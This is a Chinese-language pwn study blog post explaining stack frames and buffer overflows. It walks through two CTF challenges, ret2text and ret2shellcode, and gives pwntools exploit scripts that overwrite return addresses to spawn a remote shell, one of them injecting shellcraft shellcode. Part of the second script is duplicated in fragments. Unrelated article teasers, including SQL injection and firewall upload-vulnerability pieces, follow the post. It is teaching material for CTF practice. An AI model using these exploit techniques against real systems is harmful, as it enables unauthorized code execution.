pwn学习笔记(2)ret_2_text_or_shellcode

pwn学习笔记(2)

1.三种常见的寄存器:

​ ax寄存器:通用寄存器,可用于存放多种数据

​ bp寄存器:存放的是栈帧的栈底地址

​ sp寄存器:存放的是栈顶的地址

2.栈帧与栈工作的简介:

​ 栈帧是存储函数的一些信息的地方,栈帧存储有函数的局部变量,传递给子函数的实际参数,父函数的地址以及上一个栈帧栈底的地址,大致情况如下:

在这里插入图片描述

​ 在函数调用的过程中,首先会讲bp寄存器的值进行压栈,以方便在恢复的时候恢复栈底寄存器的值,再之后,会按顺序将局部变量压栈,最后是子函数的实际参数,会按照先入栈的后出栈,从最后一个实际参数先入栈再到第一个实际参数,比如函数a(int a , int b),压栈的方式就是先压栈b的实际参数,再压栈a的实际参数,当这些压栈完成之后,就可以压栈父函数调用子函数的那条语句的下一条语句的地址,紧接着,可以压栈当前栈帧的栈底地址了。

​ 具体的汇编语言实现就不多做解释了,因为我这里只是简述。

3.缓冲区溢出漏洞:

​ 缓冲区溢出楼哦对那个的本质就是向定长的缓冲区中写入了超长的数据,造成了写入的数据覆盖了其他合法的内存区域。

4.栈溢出之–ret2text:

(1)原理:

​ ret2text应该是最简单的栈溢出漏洞利用的方式也是最简单的:

​ 假设,在栈中,存在如下情况:

在这里插入图片描述

其C程序源代码如下:

int overflow()
{
	char buf[8];
    gets(buf);
}

当程序运行到gets的时候,因为gets没有对用户输入的内容的长度进行限制,就导致了本来最多输入8字节的内容,结果输入了超过8字节的内容导致了溢出,覆盖掉了bp寄存器以及返回地址的值,如下:

在这里插入图片描述

​ 之后,可以通过如上的原理,将返回地址的值修改为程序自带的后门函数(如system(“/bin/sh”))中即可。

(2)题目示例–[NSSCTF 2022 Spring Recruit]R3m4ke?:

​ 拿到ELF文件之后第一步应该先检查相关的保护,因为保护这里还没有讲,所以这里拿到的是一个只开了NX保护的题目,该保护对这道题几乎没有什么影响。

在这里插入图片描述

​ 这里可以看出,这个文件是一个64位的小端序文件,所以这里使用IDA进行反编译:
在这里插入图片描述

​ 这里可以很直观的发现,该函数声明了一个32字节的变量,之后通过gets()函数来写入内容,但是却没有对长度进行相关的限制,因此存在溢出漏洞,这个时候就只需要找到后门函数的地址即可,之后通过Sheft+F12,找到/bin/sh这个字符串,然后跟进,发现它存在于一个叫做LookAtMe()这个函数中,这里,也可以直接从函数视图中找到后门:

在这里插入图片描述

​ 这里可以找到后门函数的地址,及0x40072C,因此,这里就可以编写exp,如下

from pwn import *
io = remote("node4.anna.nssctf.cn",28043)
payload = b"a"*0x28 + p64(0x40072C)
io.sendline(payload)
io.interactive()

​ 运行代码之后成功拿到了目标主机的shell:

在这里插入图片描述

5.栈溢出之–ret2shellcode:

(1)原理:

​ 该方法原理与ret2shellcode类似,只是,原本存在的后门没有了,但是给了足够的可写入的地方于用户写入shellcode代码,这里前期存在两种方法写入shellcode,第一种是写入Stack中,第二种是写入bss段,准确地说,必须当一个段中存在可写可执行的权限时才能进行ret2shellcode。

​ 步骤大致是,首先修改下一些配置信息,比如context.arch,当程序时64位时,应该讲此修改为amd64;之后,让python程序自动生成一个shellcode或者去相应的地方找,python的相关代码是:shellcraft[.amd64].sh();之后通过asm()函数将生成的shllcode编译成机器码;然后就是发送相关的垃圾数据之类的进行后续操作。

(2)题目案例–[HNCTF 2022 Week1]ret2shellcode

​ 先查看它的保护类型:

在这里插入图片描述

发现跟上一个一致,这里可以简单说下NX保护,NX保护是栈不可执行,开启了这个保护之后,在栈上写入的shellcode将不会因为我们修改的return address的值而执行,因此,我们可以把目标放到bss段上,不过,首先还是得确保bss段是否存在可执行权限。

​ 对于这道题,首先应该反编译,得到伪代码:

在这里插入图片描述

我们可以发现,在main函数中,这里并没有生命buff变量, 但是这里却可以直接使用,说明buff是在全局变量中进行的声明,因此这里跟进这个变量,发现其在bss段中:

在这里插入图片描述

另外,通过pwndbg的vmmap命令可以知道这段内存存在可执行的权限:

在这里插入图片描述

因此,这个题目的思路就很明了了,首先是程序的分析,通过写入字符串给s,然后将s的内容复制给buff,限制的s的写入长度长于256字节,因此存在缓冲区溢出漏洞,这里就很明了了,代码如下:

from pwn import *
io = remote("node5.anna.nssctf.cn",28172)
context.arch = "amd64"
shellcode = asm(shellcraft.amd64.sh())
buff = 0x4040A0
payload = shellcode.ljust(0x108,b'A') + p64(buff)
io.sendline(payload)
io.interactive()

最后成功拿到目标shell:

x4040A0
payload = shellcode.ljust(0x108,b’A’) + p64(buff)
io.sendline(payload)
io.interactive()


最后成功拿到目标shell:

![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/52851acf64c0452f9dcff98caec859a4.png#pic_center)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/379107.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Linux(Ubuntu)环境下安装卸载Python3(避免踩坑)

一、安装 第一步: 进入/usr/local/目录,下载Python3,这里我下载的是python 3.8.10,如果要下载其他版本改下链接中的版本号,需与官网版本号对应。 wget https://www.python.org/ftp/python/3.8.10/Python-3.8.10.tgz第…

HTML小白入门学习-表格标签

一、前言 话说上文&#xff0c;我们对HTML的表单类标签进行简单的学习和认识&#xff0c; 分别是<form>、<input>、<textarea>、<label>、<select>和<button>这几个标签。 与表单标签有一字之别的表格标签&#xff0c;就是本文的主角。本…

【MySQL】学习和总结DCL的权限控制

&#x1f308;个人主页: Aileen_0v0 &#x1f525;热门专栏: 华为鸿蒙系统学习|计算机网络|数据结构与算法 ​&#x1f4ab;个人格言:“没有罗马,那就自己创造罗马~” #mermaid-svg-Bl9kYeLf8GfpdQgL {font-family:"trebuchet ms",verdana,arial,sans-serif;font-siz…

鸿蒙(HarmonyOS)项目方舟框架(ArkUI)之Rating组件

鸿蒙&#xff08;HarmonyOS&#xff09;项目方舟框架&#xff08;ArkUI&#xff09;之Rating组件 一、操作环境 操作系统: Windows 10 专业版、IDE:DevEco Studio 3.1、SDK:HarmonyOS 3.1 二、Rating组件 提供在给定范围内选择评分的组件。 子组件 无。 接口 Rating(opt…

整合RabbitMQ实现消息异步发送

消息队列中间件 消息队列中间件是分布式系统中重要的组件&#xff0c;主要解决应用耦合&#xff0c;异步消息&#xff0c;流量削峰等问题。 中间件最标准的用法是生产者生产消息传送到队列&#xff0c;消费者从队列中拿取消息并处理&#xff0c;生产者不用关心是谁来消费&#…

一个冷门的js加密逆向分析(二)

前天发了一片js加密分析的文章&#xff0c;今天继续来说第二层加密是什么样的。 上源代码 window["" "f" "3" "2" "0" "6" "b" "1" ""] function () {;(function (v509…

【html学习笔记】1.概念

1.概念 1.1 HTML标准格式 <html><body><p>Hello World</p></body> </html>1.2 编辑方式 新建一个笔记本文件&#xff0c;将html语法格式的内容写入。保存后将记事本的.txt后缀换成.html,就可以在浏览器里运行了 1.3 中文问题 为了避…

华为数通方向HCIP-DataCom H12-821题库(单选题:461-480)

第461题 以下关于路由策略特点的描述,错误的是哪一项? A、能够修改路由属性,但是不能改变网络流量经过的路径 B、能通过控制路由器的路由表规模,来节约系统资源 C、能通过控制路由的接收、发布和引入,以提高网络的安全性 D、能通过修改路由属性,对网络数据流量可以合理规…

SQL注入(SQL Injection)从注入到拖库 —— 简单的手工注入实战指南精讲

基本SQL注入步骤&#xff1a; 识别目标&#xff1a;确定目标网站或应用程序存在潜在的SQL注入漏洞。收集信息&#xff1a;通过查看页面源代码、URL参数和可能的错误信息等&#xff0c;搜集与注入有关的信息。判断注入点&#xff1a;确定可以注入的位置&#xff0c;比如输入框、…

跟着pink老师前端入门教程-day21+22

5.4 常见flex布局思路 5.5 背景线性渐变 语法&#xff1a; background: linear-gradient( 起始方向 , 颜色 1, 颜色 2, ...); background: -webkit-linear-gradient(left, red , blue); background: -webkit-linear-gradient(left top, red , blue); 背景渐变必须添加浏览…

【若依】若依框架在本地运行的操作方法,及踩坑记录

若依框架简介 若依是一个Gitee上一个开源的基于SpringBoot开发的轻量级Java快速开发框架&#xff0c;用以快速构建后台管理系统&#xff0c;点击跳转到官方地址 本机部署过程 Step1. 下载项目源码 我选择的是直接下载zip压缩包&#xff0c;解压后得到如下文件夹&#xff0c…

挑战杯 python opencv 深度学习 指纹识别算法实现

1 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; python opencv 深度学习 指纹识别算法实现 &#x1f947;学长这里给一个题目综合评分(每项满分5分) 难度系数&#xff1a;3分工作量&#xff1a;4分创新点&#xff1a;4分 该项目较为新颖…

Java面试题(一)——MySQL索引、JVM内存模型、JDBC

1、mysql使用innodb引擎&#xff0c;请简述mysql索引的最左前缀如何优化 order by 语句&#xff1f; 1.1、核心回答 首先要对sql进行分析检查必要的查询字段&#xff0c;过滤字段&#xff0c;排序字段是否按顺序创建好了索引 如果查询字段不在索引中可能会产生回表操作会导致…

Linux环境下配置HTTP代理服务器教程

大家好&#xff0c;我是你们可爱的Linux小助手&#xff01;今天&#xff0c;我将带你们一起探索如何在Linux环境下配置一个HTTP代理服务器。请注意&#xff0c;这不是一次火箭科学的实验&#xff0c;而是一次简单而有趣的冒险。 首先&#xff0c;我们需要明确什么是HTTP代理服…

TOP100 二叉树(三)

11.114. 二叉树展开为链表 给你二叉树的根结点 root &#xff0c;请你将它展开为一个单链表&#xff1a; 展开后的单链表应该同样使用 TreeNode &#xff0c;其中 right 子指针指向链表中下一个结点&#xff0c;而左子指针始终为 null 。展开后的单链表应该与二叉树 先序遍历 顺…

IoC原理

Spring框架的IOC是基于Java反射机制实现的&#xff0c;那具体怎么实现的&#xff0c;下面研究一下 反射 Java反射机制是在运行状态中&#xff0c;对于任意一个类&#xff0c;都能够知道这个类的所有属性和方法&#xff1b;对于任意一个对象&#xff0c;都能够调用它的任意方法…

JenkinsGitLab完成自动化构建部署

关于GitLab安装:GitLab安装-CSDN博客 Docker中安装GitLab:Docker下安装GitLab-CSDN博客 安装JenKins Jenkins官网:Jenkins 中文版:Jenkins 安装时候中文页面的war包下不来 在英文页面 记得装JDK8以上 JenKins使用java写的 运行JenKins需要JDK环境 我这里已经装好了 将下…

网神 SecGate 3600 防火墙 route_ispinfo_import_save 文件上传漏洞

免责声明&#xff1a;文章来源互联网收集整理&#xff0c;请勿利用文章内的相关技术从事非法测试&#xff0c;由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失&#xff0c;均由使用者本人负责&#xff0c;所产生的一切不良后果与文章作者无关。该…

问题:重热现象可使多级汽轮机的理想焓降增加,重热系数越大,多级汽轮机的内效率就越低。 #学习方法#微信#媒体

问题&#xff1a;重热现象可使多级汽轮机的理想焓降增加&#xff0c;重热系数越大&#xff0c;多级汽轮机的内效率就越低。 参考答案如图所示

代码随想录算法训练营第二十五天 |216.组合总和III,17.电话号码的字母组合(已补充)

剪枝操作讲解&#xff1a;&#xff08;已观看&#xff09; 带你学透回溯算法-组合问题的剪枝操作&#xff08;对应力扣题目&#xff1a;77.组合&#xff09;| 回溯法精讲&#xff01;_哔哩哔哩_bilibili 216.组合总和III&#xff08;已观看&#xff09; 1、题目链接&#xf…